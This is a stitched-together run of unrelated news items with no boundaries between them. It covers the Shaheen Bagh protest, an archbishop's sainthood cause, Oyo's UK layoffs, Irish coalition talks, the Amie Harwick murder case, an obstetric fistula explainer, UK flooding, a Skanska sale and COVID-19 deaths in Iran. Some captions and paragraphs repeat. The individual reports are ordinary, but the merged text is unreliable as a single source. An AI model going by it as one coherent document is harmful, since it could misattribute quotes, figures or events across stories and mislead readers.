staging a sit-in protest at Delhi's Shaheen Bagh area since mid-December last year against the Citizenship Amendment Act (CAA) and the proposed Register of Citizens (NRC). They fear that the two laws in combination would deprive a large section of the Muslim population of their citizenship rights. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Archbishop Ganguly, the first native Bengali Archbishop of Dhaka, was known for his humility, modesty and love for the poor. His sainthood cause was initiated in 2006. By Robin Gomes Thousands of Catholics in Bangladesh joined special celebrations to mark the birth centenary of saintly Archbishop Theotonius Amal Ganguly of Dhaka, the countrys first candidate to sainthood. Three special Masses and memorial services were held on Tuesday at three Catholic churches in Dhaka Archdiocese to pay tribute to Archbishop Ganguly who died on September 2, 1977, six years after Bangladesh gained independence from Pakistan. Cardinal Patrick DRozario of Dhaka presided over the Mass at Holy Rosary Church, the countrys largest Catholic parish in central Dhaka, in the presence of about 1,000 Catholics. Masses at St. Nicholas of Tolentino Church in Gazipur district and at Our Lady of the Holy Rosary Church in Hashnabad of Dhaka district, Archbishops Gangulys birthplace, drew thousands of Catholics as well. In his homily, Cardinal DRozario reflected on the saintly and prayerful life of his predecessor, saying Archbishop Ganguly can help Dhaka Archdiocese and the Bangladesh Church as a whole to be blessed and attain a life of holiness. Archbishop Ganguly is an outstanding guiding light and pioneering prelate thanks to his extraordinary knowledge, service and humility during his lifetime, Cardinal DRozario said. The sainthood cause is a long process that starts at the diocesan level where the candidate lived and died. At this stage, the individual is given the title Servant of God. Testimony about the life and virtues of the Servant of God is gathered and his or her public and private writings are collected and examined closely. With the end of the diocesan process, the case passes to the Congregation for the Causes of the Saints in the Vatican for further examination. Once the person's heroic virtues are recognized by a papal decree, the person is given the title Venerable Servant of God the Pope, or simply Venerable. The process for the sainthood cause of Archbishop Ganguly started in Dhaka in 2006 and since then, a diocesan tribunal and two commissions have worked tirelessly to conduct the necessary probes and provide documents, which were submitted to the Vatican in 2018. Archbishop Ganguly was not only a man of outstanding knowledge and humility but a great lover of humanity, said Father Theotonius Proshanto Rebeiro, the local Churchs notary for his cause of beatification and canonization. Biography Born on Feb. 18, 1920, in a village in Hashnabad Parish of what was then Dacca Diocese (Dhaka Archdiocese today), Archbishop Ganguly was educated at Holy Cross High School in Bandura. After attending St. Alberts Major Seminary in Ranchi, India, he was ordained a diocesan priest of Dacca on June 6, 1946. In 1947, he went to the University of Notre Dame in Notre Dame, Indiana, in the United States for higher ecclesiastical studies. He graduated with a Doctorate in Philosophy in 1951, the first Bengali Christian to attain the achievement. During his studies in the US, he came to know the Congregation of the Holy Cross more closely and decided to join it. He attended the Novitiate in Jordan, Minnesota, and professed his first religious vows on August 16, 1952. Upon returning home, Father Ganguly taught at Holy Cross-run Notre Dame College in Dacca. He was made the schools Dean of Studies in 1954 and Assistant Principal in 1958. In 1955, he made his final vows. Five years later, in 1960, he was appointed Principal at Notre Dame College, becoming the first Bengali appointed to the position. That very year, he became the first native Bengali bishop when Saint Pope John XXIII appointed him the Auxiliary Bishop of Dacca, which had been raised to the rank of Metropolitan Archdiocese in 1950. He was appointed Coadjutor Archbishop of Dacca in 1965 and became its first native Archbishop in 1967, serving in that capacity for 10 years until his death from a heart attack on Sept. 2, 1977. He was 57. Saint Pope John Paul II renamed Dacca as the Archdiocese of Dhaka on 19 October 1982. Saintliness and social outreach Besides his outstanding academic excellence, Archbishop Ganguly was known for his great personal virtues including humility, modesty and a love for the poor. He played a pivotal role in empowering the Church, including the promotion of lay leadership, youth formation and support of the countrys downtrodden communities after Bangladesh gained independence from Pakistan in 1971. In 2006, Archbishop Paulinus Costa of Dhaka initiated the process of the sainthood cause of Archbishop Ganguly. Archbishop DRozario said they are praying and eagerly awaiting the day when Archbishop Ganguly will be declared Venerable and move forward to be declared a saint one day. After that, a miracle would be required through his intercession to be declared Blessed, and yet another miracle after that to be declared a Saint. Catholics in Bangladesh have been urged to pray to Servant of God Ganguly and report to parish priests if any miraculous healing has taken place through his intercession. The Holy Cross Congregation said that during his visit to Bangladesh in December 2017, Pope Francis blessed the grave of Archbishop Ganguly at St. Mary's Cathedral compound in Dhaka. (Source: UCANEWS) Oyo, the hotel startup valued at $10bn (7.6bn), has axed dozens of UK staff and seen the exit of its country head in recent weeks, following a period of rapid expansion. Insiders told Yahoo Finance UK they fear the headcount cull isnt over and more people could exit in the coming weeks whether by being laid off or as a result of failing performance improvement plans, which several sources claim have unrealistic targets. India-based startup Oyo, which is backed by Japans SoftBank, has been laying off thousands of staff around the world since the start of the year. Oyo previously disclosed it was running a 30-day consultation with UK staff, but didnt say how many jobs were at risk. The process concluded last Friday and sources suggested 50 to 100 staff have been cut, which is 10-20% of the companys UK workforce. Ritesh Agarwal, founder and CEO of OYO Rooms, is interviewed on the floor of the New York Stock Exchange, Tuesday, Feb. 18, 2020. (AP Photo/Richard Drew) Oyo declined to comment on how many people had been let go but said everyone affected by the process had now been informed. A spokesperson said the group is doing everything we can to help and support staff going well beyond our legal obligations. Those made redundant have been given one months payment in lieu of notice, Oyo said, and an additional one months salary tax free as severance pay. A spokesperson said affected staff were also offered counselling and help applying for new jobs. Job losses impacted all parts of the business and some departments have been radically cut back to just a few staff, according to sources connected to Oyo. I know recently there have been some tough moments for the team, Oyos founder and chief executive Ritesh Agarwal said in a video sent to staff this week and seen by Yahoo Finance UK. This has been the case not just in the United Kingdom but across the world. These tough moments, when we have to say goodbye to other OYOpreneurs, are very emotional moments. UK head exits The layoffs come just weeks after the departure of UK head Jeremy Sanders. Sanders cofounded and ran London-based pasta chain Coco di Mama, before joining Oyo in August 2018 to launch the business in the UK. However, Sanders left Oyo in January 2020. Story continues A spokesperson for Oyo said Sanders left to spend more time with his family and said: Theres no story behind his departure. Sanders didnt respond to a LinkedIn message requesting comment and declined to speak through Oyos spokesperson. An OYO Rooms logo seen displayed on a smartphone. (Rafael Henrique/SOPA Images/LightRocket via Getty Images) Sanders was replaced by Rishabh Gupta, who ran Oyos Indonesian operations until last month. Gupta confirmed redundancies across the UK in an email to staff in January, saying the layoffs would set us up for the next phase of profitable growth. The redundancies were about balancing the speed of our growth with our operational capabilities, ensuring growth is sustainable, and maintaining our commitment to operational and customer excellence, a spokesperson said. The spokesperson stressed that Oyo remains committed to the UK. Gupta said in his email to staff last month that Britain was one of leading markets for Oyo and the restructure does not imply that there is a change in commitment. However, sources told Yahoo Finance UK that a number of internal company decisions have left them fearful more UK staff may end up leaving. For example, some employees have been asked to reapply for jobs, though there are not enough new open positions for all those asked to apply. Sales staff have also been put on performance improvement plans, which two sources described as having unrealistic targets for the number of new beds they have to sign on to the platform. A spokesperson for Oyo said performance improvement plans were unconnected to the current restructure and were in place to help our colleagues thrive in their roles. A $10bn startup Oyo was founded in India in 2013 by then 19-year-old Agarwal. It began as a way to book budget Indian hotel rooms online but has rapidly expanded to become a global business. Unlike platforms such as Airbnb, Oyo signs contracts directly with hotels when it brings them onto its platform, usually with a revenue sharing agreement and investment from Oyo to do up hotels. Some are branded under the Oyo name. The startup announced plans to launch in the UK in late 2018 and pledged to invest 40m in the market in the first two years, according to the Economic Times of India. The company hoped to sign-up 5,000 rooms across the UK by 2020. Oyo has to date raised over $2.5bn of funding and employed more than 25,000 people worldwide at its peak. Its rapid growth has been fuelled in part by SoftBank, the Japanese investment company. SoftBank raised the largest ever venture capital fund in 2017, worth $100bn, and the company owns just under half of Oyo through the fund. Oyo was valued at $10bn as recently as last October in a transaction involving SoftBank. Multiple sources at Oyo believed the UK layoffs were triggered by pressure from SoftBank. While senior managers didnt mention SoftBank when discussing layoffs, several sources said SoftBank was often talked about internally by ground-level staff as a likely reason for the cut backs. Masayoshi Son, chairman and chief executive officer of SoftBank Group, speaks during a news conference in Tokyo, Japan, on Wednesday, Feb. 12, 2020. (Alessandro Di Ciommo/NurPhoto via Getty Images) SoftBank was last year stung by the poor performance of one of its biggest investments: WeWork. The flexible office space provider was forced to pull its IPO and write off $39bn of value last year amid skepticism of its business model. As a result, SoftBank has reportedly started asking companies it backs to focus on profitability rather than just growth, according to the Wall Street Journal. Earlier this week, Oyo announced it had made a loss of $355m on revenues of $951m in the 12 months to March 2019. Losses rose from 25% of revenues in 2018 to 37% of revenues last year. China was behind the bulk of losses, the company said. A spokesperson for Oyo said there was no pressure from anyone in relation to the lay offs and said the decision came from the board and management. SoftBank has at least one seat on Oyos board, alongside other investors like Lightspeed India and Sequoia India. There is a continuous dialogue that happens with all our investors and the board, which is a fairly regular process as in most other professionally managed and established enterprises, an Oyo spokesperson said. We are thankful for the trust and confidence that all our investors, including SoftBank and stakeholders have shown in us. SoftBank declined to comment to Yahoo Finance UK. WhatsApp management Several sources said they were unsurprised by the cuts at Oyo UK. The writing was on the wall, said one former staff member, who didnt want to be named because they werent authorised to speak publicly about the company. Multiple sources said Oyo was overstaffed in the UK. The company had around 500 staff less than a year after launch and the number of sales staff in some areas meant employees had only a small number of hotels to pitch to. The company was interviewing and hiring new staff right up until the turn of the year. Oyo regularly posted videos of new hires joining each month, usually in groups of 20 or more. A recent video posted on LinkedIn by Oyo UK showed around 25 people and was captioned: December's off to a great start as we welcome more talent through our doors. A spokesperson said hiring was paused in January 2020 and many new joiners had been given offers months before. They said the aggressive hiring allowed us to scale quickly and build a business that provides excellent service. WhatsApp logo displayed on a phone screen, smartphone and keyboard are seen in this multiple exposure illustration. (Nicolas Economou/NurPhoto via Getty Images) Operations were also chaotic, according to sources. Much of the business was conducted on WhatsApp, which could lead to miscommunication. A spokesperson said the company banned management decisions being taken on WhatsApp in October and said it disagreed with this notion that operations were chaotic. Staff were expected to work long hours and weekends, according to some sources, and several mentioned a culture clash between Indian-born upper management and UK staff. Oyo disputed these claims. This is not common feedback given to us, even through the anonymous channels provided for employees, a spokesperson said, adding that Oyo promotes a healthy and positive work culture. And while Oyo signed up 500 hotels in under two years in the UK, the startup also allegedly faced some teething problems in the UK market. Multiple sources mentioned churn rate as an issue the percentage of hotels that left the platform shortly after signing up. Oyo denied churn was an issue and said only 3% of hotels that had been on the platform at last six months subsequently left. A spokesperson said contracts could be terminated for a range of reasons, including hotels changing ownership or situations where the owner has failed to deliver on the terms of their contract with Oyo. The platform has signed up 196 hotels across the UK in just the last 12 months, the spokesperson said. Not going to be easy Oyos cuts in the UK are part of a global wave of layoffs. The startup has recently laid off thousands of staff across India and China, according to Bloomberg, and the Financial Times reported that more than a third of US staff had been let go. Founder Agarwal said in a blog posted a few weeks ago that the company would this year focus on its profitable locations, bringing down costs, and investing in governance and culture. 2020s aspirations is not going to be easy, Agarwal said in the video sent to UK staff this week. We have a few things going for ourselves but we also have a few things that we need to improve upon. He urged staff to work for the sake of the pride of building something that is truly meaningful. Taoiseach Leo Varadkar has given the clearest signal yet that he is prepared to talk about coalition with Fianna Fail. Mr Varadkar again insisted that it was the responsibility of Sinn Fein and leftist parties to combine and form a coalition as they had the numbers for a Dail majority. But speaking in a break from EU budget talks in Brussels, the now caretaker Taoiseach said he had spoken with the Fianna Fail leader Micheal Martin and they had agreed to talk again early next week. Mr Varadkar brushed aside questions about the office of Taoiseach being shared between Fianna Fail and Fine Gael. He said that so far that idea had not even been discussed. The situation is that the leader of Fianna Fail and I spoke by phone last night Weve agreed to meet early next week At that meeting well discuss ways forward and I will then report to the Fine Gael parliamentary party probably Wednesday or Thursday of next week as to whether there is any basis for any further discussions, Mr Varadkar told reporters. The acting Taoiseach said Fine Gael was still determined to go into opposition. Those parties who are now in opposition should form a government . They have more than enough numbers to do so. We are willing to talk to other parties about participating in government if the opposition fail to put together a government, Mr Varadkar added. But thats not something that were planning to do or looking for and it could only really happen on the basis that there is full respect for the fact that we did win 450,000 votes in this election we have 35 seats, he continued. We didnt win this election but we have almost as many seats as Fianna Fail and not that many fewer than Sinn Fein. But I do not see any evidence yet that that is recognised by any other party, the Taoiseach said. Mr Varadkar said he was in Brussels to defend Irelands rural communities against farm fund and rural development grant cuts in a new EU budget regime being framed by the 27 member states for the years 2021-2027. Brussels diplomats suggested that a deal is unlikely and that talks will be adjourned later today until next month. The father of Gareth Pursehouse, charged with murdering former Playboy model and LA sex therapist Amie Harwick, had a restraining order against him at the same time as his son, court documents obtained by DailyMail.com reveal. Harwick, 38, got a protective order against Pursehouse in 2011 after ending their relationship. The legal protection expired just weeks before the 6'4'' computer programmer allegedly attacked her at her Hollywood Hills home last Saturday, resulting in her death from a three-story fall from a balcony. Just one year before Harwick sought legal protection from Pursehouse, his British-born father Paul was also the subject of a restraining order by his ex-fiancee Deborah Vail, California court records reveal. Gareth Pursehouse (right) is charged with murdering Amie Harwick (left) after allegedly attacking her at her Hollywood Hills, California home last Saturday. Harwick, 38, got a protective order against Pursehouse in 2011 after ending their relationship Pursehouse's father Paul, who died last July, also had a restraining order taken out against him by his ex-fiancee Deborah Vail (pictured together). The 69-year-old San Diego-based real estate broker claimed that Paul had been 'harassing me by phone, by email, in person, and through my friends' Paul, who died eight months ago, was hit with a protective order filing in 2009 from Vail. The 69-year-old San Diego-based real estate broker claimed that Paul had been 'harassing me by phone, by email, in person, and through my friends'. 'He has been showing up to about three of my community events per week for the past few weeks, in an attempt to see me and talk to me,' Vail wrote to the court. 'I have told him repeatedly that we are over and that I want nothing to do with him, yet he refuses to leave me alone, and his harassment and obsession with me seems to be escalating. 'I have also gotten countless hang up calls, that I believe is Paul calling to harass me. Additionally, Paul is harassing my friends, including my friend Joanne, who sent me a warning email stating that she has repeatedly tried to tell him to leave me alone and remind him that things are over,' Vail added. 'She wrote that he could not stop talking about me and keeps hoping that there is a future for us and refuses to take no for an answer. She also warned me that ''he is absolutely obsessed'' with me.' Before splitting, the couple had lived together in Oceanside, south of Los Angeles. Residency records show Pursehouse later moved to an apartment in San Diego before his death in July last year. Paul, whose MySpace account still shows a picture of him and Vail together, appealed the California court's decision to place a three-year restraining order against him, but the appellate court unanimously upheld the ruling in 2010. One year later, his son was subject to the same form of protective order after an acrimonious breakup with his sex therapist girlfriend Harwick. A year after Paul's restraining order against him was upheld, his son was subject to the same form of protective order after an acrimonious breakup with his sex therapist girlfriend Harwick. Pictured: The father and son out for a meal in an undated photo Vail wrote that her friend warned her that Paul (pictured) was 'absolutely obsessed' with her. Paul, whose MySpace account still shows a picture of him and Vail together, appealed the California court's decision to place a three-year restraining order against him, but the appellate court unanimously upheld the ruling in 2010 Friends told DailyMail.com that Harwick described Pursehouse as her 'crazy ex', while LA court records show she petitioned for a second restraining order in 2012, though the second order was dismissed after she did not follow up her application. Despite losing his father last year, a long-time friend of Pursehouse said he was in high spirits when she saw him for the first time in about five years at a pornography industry awards party last month run by industry magazine XBIZ and hosted by porn legend and Donald Trump's alleged mistress, Stormy Daniels. Alana Evans, 43, President of Adult Performers Actors Guild, said she knew Pursehouse for years and had met him when he worked as a photographer in the porn industry, but that he had disappeared from the field without explanation about five years ago. 'I've known Gareth for a very long time, when he was more involved in the industry in the mid-2000s. He was a photographer who was just around the business and at shows. He was super hyper, very friendly, a very big man,' Evans told DailyMail.com. 'When I saw him at XBIZ I hadn't seen his face in years, I got up and talked to him. I caught his attention and he gave me a big hug.' The guild president said her suspicions were raised when her old friend was cagey about his absence from the porn industry. 'I asked where he had been and he was so vague with his answer. He said that he stepped away from the industry but now he was back. He didn't give any more reason than that,' she said. 'He didn't mention any issues with an ex or anything like that. It was like he didn't want to answer why he had been absent from the scene. It sounds now as if it's because he's had this restraining order.' A close friend of Harwick told DailyMail.com that the therapist, who until 2018 was engaged to The Price Is Right host and actor Drew Carey, was also at the January 16 party, due to her work for a charity providing mental health support to women in the sex industry. A close friend of Harwick told DailyMail.com that the therapist, who until 2018 was engaged to The Price Is Right host and actor Drew Carey, was also at the January 16 party, due to her work for a charity providing mental health support to women in the sex industry. Harwick and Carey they split in November 2018 after dating for more than a year Harwick was found unconscious after falling from a third-floor balcony in her home, pictured The friend, 45-year-old actress Jasmin St Clare, claimed that Harwick's restraining order against Pursehouse had recently expired, and that the therapist told her days after the party that when Pursehouse saw her there, he began screaming at her. 'She had never mentioned him before,' said St Clare. 'He wasn't like a Drew Carey where she'd mention him, or any of her other exes who were more significant. 'The first I heard of him was that a psycho ex of hers started screaming at her at the XBiz awards. 'I spoke to her a few days after that. She was just like ''yeah I saw my crazy ex there'', it was just an over-the-head thing. She doesn't see the bad in people. But was she concerned? Yes.' Even Evans said she heard the alleged altercation from another room at the party. 'There was an argument. Someone was screaming at their other half, that was what people perceived of the argument. You could hear loud voices. But I'm not somebody who's going to walk towards a problem,' she said. One month later, Harwick was at her Hollywood Hills home with her housemate when, according to police, Pursehouse attacked her in a violent struggle that ended with her falling three stories from a balcony. She later died in the hospital from her injuries. The LA coroner ruled Tuesday that the 38-year-old former Playboy model died from blunt-force injuries to her head and torso, though they also noted 'evidence of manual strangulation'. Pursehouse said he was in high spirits when she saw him for the first time in about five years at a pornography industry awards party on January 16 run by industry magazine XBIZ and hosted by porn legend and Donald Trump's alleged mistress, Stormy Daniels. The run-in is said to have reignited Pursehouse's obsession with Harwick (pictured at the event) Pursehouse pictured circled in red at the XBiz Awards, was working as a photographer and allegedly harassed Harwick. The porn star Stormy Daniels, pictured in the silver dress, hosted the event Police say Harwick's roommate jumped a wall to run for help while a ferocious fight raged inside the hilltop house. Pursehouse was arrested at his Playa Del Rey home on Monday, released on a $2 million bail, but was re-arrested on Wednesday and formally charged with murder and burglary. According to the LA District Attorney's office, his charges include the special circumstance allegation of 'lying in wait', making him eligible for the death penalty. The furious St Clare, who appeared in HBO show The Deuce, said she believes Pursehouse is responsible for her friend's killing, and that the death penalty is too good for him. 'He is a monster. He needs to feel the steel, to stay in jail and don't come out. I say living in jail among people knowing what the hell you did is the best thing for him,' she said. 'Having to look over your shoulder every day and night, living that torture is the best punishment ever. The needle is too easy an out for him.' St Clare and her friends have launched a petition proposing a new 'Amie's Law', which would toughen restraining orders imposed by the courts to prevent domestic violence. The proposed bill would abolish expiration dates on restraining orders, only lifting the protections when the victim feels safe. Medical cannabis grower Travis Nestor who worked with Pursehouse (pictured) for two years and has known him for about 15 years, said his friend was 'normal' and 'easygoing', and had never shown signs of violence The LA coroner ruled Tuesday that the 38-year-old former Playboy model died from blunt-force injuries to her head and torso, though they also noted 'evidence of manual strangulation' The campaigners also propose a public register of people who have restraining orders against them, similar to sex offender databases, and seek to remove the requirement for men or women seeking restraining orders to have to appear in court opposite their alleged abuser. 'You could do it through a video conference and you just deal with the judge, you don't have to see that person's face, because it's terrifying,' St Clare explained. 'It needs to be passed and it needs to be passed immediately, because there are a million other Amie's out there and we don't know about them because the police don't take it seriously. 'When you are a victim of such behavior you feel scared, and you don't know if you have to pack up your life and go elsewhere.' Despite the actress' damning claims against Pursehouse, the computer programmer's friends were shocked to hear he had been accused of any violence. Medical cannabis grower Travis Nestor, 41, who worked with Pursehouse for two years and has known him for about 15 years, said his friend was 'normal' and 'easygoing', and had never shown signs of violence. Nestor added that in one of their most recent conversations last year, the 41-year-old had boasted about dating an 18-year-old woman. Evans said although Pursehouse 'has a lot of energy' and is 'always amped up when he is talking', he was 'one of those people you would have never expected something like this.' Obstetric fistula , or vaginal fistula, is an abnormal communication between the vagina and either the bladder anteriorly or the lower digestive tract posteriorly. It is a complication of childbirth and occurs due to prolonged childbirth. When a woman has an obstructed labor and is not given help, the labor could last for up to even 5 to 7 days. This creates a lot of pressure on the vagina, urethra and rectum. The compression can cut off the blood supply to the baby and to the mothers soft tissues, proving to be fatal to the baby, and causing death to the mothers tissues as well. This results in the formation of an abnormal communication between the vagina and bladder, or vagina and rectum. The condition results in incontinence, the constant and uncontrolled flow of urine or feces, or both. Depending on the location of the fistula, obstetric fistula can be classified as: Vesicovaginal Fistula: Fistula that connects the urinary bladder and vagina. Fistula that connects the urinary bladder and vagina. Rectovaginal Fistula: Fistula that connects the rectum and vagina. Obstetric fistula is a preventable and treatable condition. Basic medical care for a pregnant woman with immediate attention to any labor pains can help prevent injury and fistula formation during labor. Obstetric fistula is treated with surgery. Obstetric fistula is usually a problem of underdeveloped countries and is commonly caused to due prolonged, unattended labor. Other possible causes of vaginal fistula include: Poorly performed abortions Use of episiotomy and forceps during labor Pelvic fracture, resulting in a difficult labor Cervical cancer therapy with radiation Inflammatory bowel disease like ulcerative colitis, Crohns disease Sexual abuse or rape Trauma during surgery of vagina, perineum, anus or rectum There are several indirect risk factors that can end up in causing the obstetric fistula. Poverty: Most of the impoverished countries can lack adequate medical infrastructure. They lack of proper medical professionals, medical care and infrastructure to take care of a woman in labor. Most of the impoverished countries can lack adequate medical infrastructure. They lack of proper medical professionals, medical care and infrastructure to take care of a woman in labor. Malnutrition: Lack of proper nutrition to the mother makes her vulnerable to diseases. Stunted growth during the growing years of the woman is the result of malnutrition and is associated with underdeveloped pelvic bones. The weak and underdeveloped bones can increase the risk of difficult labor and consequently of obstetric fistula. Lack of proper nutrition to the mother makes her vulnerable to diseases. Stunted growth during the growing years of the woman is the result of malnutrition and is associated with underdeveloped pelvic bones. The weak and underdeveloped bones can increase the risk of difficult labor and consequently of obstetric fistula. Lack of Information: Lack of information about maternal health, family pressures about waiting for a normal labor and other complications that may arise during home-births can contribute to the risk factors of developing obstetric fistula. Lack of information about maternal health, family pressures about waiting for a normal labor and other complications that may arise during home-births can contribute to the risk factors of developing obstetric fistula. Early Marriages and Childbirth: In under-developed countries like Sub-Saharan Africa, many girls are married off as soon as they attain menarche. This is due to the socio-economic factors where the girls are sold in marriage for a price. This leads to early childbirth when the girls tissues are not ready to take in the pressure. The tragic part is that once these girls develop obstetric fistula, they are shunned by the family and society. In under-developed countries like Sub-Saharan Africa, many girls are married off as soon as they attain menarche. This is due to the socio-economic factors where the girls are sold in marriage for a price. This leads to early childbirth when the girls tissues are not ready to take in the pressure. The tragic part is that once these girls develop obstetric fistula, they are shunned by the family and society. Status of Women in Under-Developed and Developing Countries: Women in certain societies are dominated by their husband and in-laws who decide about the maternal care to be provided. Some even believe that women are supposed to suffer in childbirth and refuse to go for cesarean section even if it is strongly indicated. A vaginal fistula or obstetric fistula is usually painless. But it results in uncontrollable passing of the urine or feces, causing a lot of embarrassment. In case of vesicovaginal fistula, urine keeps leaking out of the vagina. In case of rectovaginal fistula, a foul smelling discharge leaks out. Gas may also be discharged. Other symptoms include: Infection and inflammation of the genital area resulting in irritation or pain Intense pain during sexual activity Some of the serious complications that occur along with obstetric fistula include: Severe ulcerations of the vaginal tract Kidney damage Infection of the fistula turning it into an abscess Paralysis of the lower limbs caused by nerve damage Amenorrhea, or absence of menstruation Obstetric fistula has a more severe impact on the social, economic and psychological aspects, apart from the physical symptoms. Affected women are often ostracized from the community due to the smell or continuous leakage of urine. The symptoms of the obstetric fistula are the basis of diagnosis. Physical examination is done to look at the vaginal walls. A dye is used in the vagina to find the site of leakage. Infection of the vagina is confirmed with local swabs and blood and urine tests. An X-ray or MRI scan can help in identifying the extent of tissue damage. Endoscopy is done to find out the type of fistula and its size. How do you treat Obstetric Fistula? Treatment of obstetric fistula depends on the ability of the tissue to heal. It also depends on the size and location of the fistula. About 80% of women can be cured by simple vaginal surgery. Topical or oral medicines are given for the wounds to heal before surgical intervention. Based on the extent of the damage and size and location of the fistula, various types of vaginal surgery may be done. Single-layered technique, using non-absorbable suture Flap-splitting technique Urethral reconstruction or catheterization Saucerization technique Using grafts The surgery may be done directly via the vagina, via the bladder or through the abdomen. A combination of abdomino-vaginal repair may also be chosen depending upon the existing fistula. Colostomy (an opening created between the intestine and the skin on the abdomen) is done first in case of a large rectovaginal fistula to divert the intestinal contents so that the fistula is kept clean for surgery. Once the surgical wound heals, the colostomy is closed. Obstetric fistula is a preventable tragedy. It affects millions of women and girls, more so in Sub-Saharan Africa and South Asia. Maternal medical care and expertise and adequate infrastructure can largely contribute towards prevention of obstetric fistula. The United Nations Population Fund has launched a global campaign against obstetric fistula. The campaign aims at preventing and treating fistulas, as well as rehabilitating survivors. Skilled medical care providers can identify women and girls at risk for obstetric fistula and educate them about the prevention and action to be taken. Effective surgical repair, to be done at low cost or free of cost, has to be made available to the areas where the prevalence of obstetric fistula is high. Health Tips P owerful gales and snow could bring blizzard conditions the UK this weekend, with downpours continuing to batter already flood-hit regions. Forecasters issued yellow alerts for heavy rain covering central and south-western Scotland and parts of Yorkshire across Friday and Saturday. And the Environment Agency has warned of worsening conditions across the Pennines and Yorkshire in the aftermath of Storm Dennis. Five severe flood warnings which pose a danger to life and less serious 75 flood warnings are in place. Storm Dennis has caused severe flooding to the Monmouth area of South Wales / REUTERS Dan Suri, chief forecaster at the Met Office, said: With further rain in the forecast over the coming days and the potential for another deep low-pressure system early next week, additional rainfall could create further challenges as river catchments are more likely to respond to extra rainfall more quickly. Flooding, especially in areas already heavily affected, remains a possibility. The weekend is expected to bring more wet weather, with the possibility of sleet and snow in Scotland. London will experience rain over the weekend, with conditions set to brighten from Tuesday. Storm Dennis: UK Flooding aftermath - In pictures 1 /33 Storm Dennis: UK Flooding aftermath - In pictures PA A rainbow appears over flooded fields in the Wye Valley Getty Images A Land Rover wades through flooded roads in the Wye Valley Getty Images A dog takes a drink from flood water as water levels in the River Ouse in York Getty Images South Wales Fire and Rescue personnel fit an outboard motor to a Rigid Inflatable Boat AFP via Getty Images A man cycles through floodwater after the River Ouse burst its banks in York AFP via Getty Images PA PA Getty Images Getty Images AFP via Getty Images A taxing time: Firefighters rescue people from a care home in Whitchurch on the banks of the River Wye after flooding from Storm Dennis. A proposal has been put forward to increase council tax and use the proceeds for a ring-fenced climate fund Getty Images A man walks through flood water, as pumps and flood barriers help to keep the water from flooding homes in Gloucester Road in Tewkesbury PA A section of road that has been closed off due to flooding in Monmouth PA Flooding in Ironbridge PA Residents picking up sandbags in Gloucester Road in Tewkesbury PA Authorities have warned that the current levels of flooding are unprecedented PA Temporary flood barriers hold back the river Severn in Ironbridge PA Residents bail out their homes in Ross-on-Wye AFP via Getty Images Swamped: rescuers help two women after the River Wye burst its banks in flood-hit Hereford Getty Images A man uses a plank of wood to paddle a kayak on flood water after the River Wye AFP via Getty Images A resident is rescued from a home in a boat by the emergency services amid flooding in Hereford on Monday AFP via Getty Images An aerial view showing flooding from the River Wye on Monday following Storm Dennis Getty Images A bin floats in flood water in a street in Tenbury AFP via Getty Images A man wades through flood water towards an ambulance in a flooded street in Tenbury Wells AFP via Getty Images Honister Pass in Cumbria, one of the wettest areas of the UK annually, recorded 185mm of rain in 36 hours on Thursday while 72 mm was recorded in Shap, Cumbria. Capel Curig in Snowdonia, north Wales, recorded 86mm of rain in 36 hours after setting Wednesday's record for rain with 80mm in a single day. Northern parts of England could see winds up to 65 mph on Friday, which could cause transport delays and adverse driving conditions. The Met Office said Yorkshire is one of the most sensitive areas to rain at the moment, with only small amounts of rain potentially causing further flooding. Forecaster Craig Snell said: "Rainfall amounts tomorrow are not exactly too high but the warning is because the ground is so wet." The northern county is expected to see 20 to 30mm of rain falling, which could increase to 60 to 80mm in some areas. "Given the recent wet conditions, even that amount of rainfall may cause some further flooding to occur," Mr Snell added. He added: "Saturday is going to be a day of sunshine and gusty showers, the showers wintry across the north, chiefly across the high ground and we could see a bit of wintriness at lower levels but nothing amounting to too much at the moment." He said the Met Office is monitoring an area of low pressure approaching the UK which could bring another spell of strong winds to Scotland, northern Ireland and northern England. "Combined with the wind we would see the risk of further heavy rainfall and also potentially some snow as well for Scotland," Mr Snell said. OSTERSUND, Sweden, Feb. 21, 2020 /PRNewswire/ -- Skanska has divested the office building Solna United in Solna, Sweden, for about SEK 3.3 billion to a fund managed by DWS. The transaction will be recorded by Skanska Commercial Development Nordic in the first quarter 2020. The transfer of the property will take place in June 2020. Solna United has eleven tenants and all office space has been leased. The building offers about 34,000 square meters and is planned to be environmentally certified according to LEED Platinum. The first tenants moved in during the fall 2019. The property is supplied with renewable energy from a photovoltaic panel park harvesting solar energy, formalized by a long term agreement with Kalmar Energi. The recently completed office building is located next to Solna station in Arenastaden and has been developed and built by Skanska. Skanska is one of the leading development- and construction companies in the Nordics, with operations in building construction and civil engineering in Sweden, Norway and Finland, and developing residential- and commercial property projects in select home markets. The commercial development stream is also active in Denmark. Skanska had sales of about SEK 70 billion and more than 15,200 employees in its Nordic operations during 2019. For further information please contact: Fredrik Bergenstrahle Managing Director Skanska Commercial Property Development Stockholm tel +46(0)10-448-16-67 Andreas Joons Press Officer, Skanska AB tel +46(0)10-449-04-94 Direct line for media, tel +46(0)10-448-88-99 This and previous releases can also be found at www.skanska.com. This information was brought to you by Cision http://news.cision.com https://news.cision.com/skanska/r/skanska-divests-the-office-building-solna-united-in-solna--sweden--for-about-sek-3-3-billion,c3040814 The following files are available for download: https://mb.cision.com/Main/95/3040814/1197822.pdf 20200221 SE divestment Solna United https://news.cision.com/skanska/i/image-20200221-solna-united,c2751249 Image 20200221 Solna United https://news.cision.com/skanska/i/image-2-20200221-solna-united,c2751256 Image 2 20200221 Solna United SOURCE Skanska Iranian health authorities on Friday reported two more deaths from the new virus that emerged in China and said the fatalities were from among 13 new confirmed cases of the virus in Iran. The report by the semiofficial Mehr news agency came as Iranians voted in nationwide parliamentary elections. After authorities reported two earlier deaths this week, the death toll from COVID-19, the illness caused by virus, stands at four in Iran. So far, 18 cases have been confirmed in Iran, including the four who died. The spokesman of the health ministry, Kianoush Jahanpour, said the newly detected cases are all linked with city of Qom where the first two elderly patients died on Wednesday. Jahanpour said the new cases were either from Qom or had visited the city recently. He said four of them have been hospitalized in the capital, Tehran, and two in northern province of Gilan. Minoo Mohraz, an Iranian health ministry official, said the virus possibly came from Chinese workers who work in Qom and traveled to China. She did not elaborate. A Chinese company has been building a solar power plant in Qom. Concerns over the spread of the virus, which originated in central China, prompted authorities in Iran this week to close all schools and Shiite seminaries in Qom, about 130 kilometers (80 miles) south of Tehran. Also, earlier news reports said Iran had recently evacuated 60 Iranian students from Wuhan, the Chinese city at the epicenter of the epidemic. The students were quarantined upon their 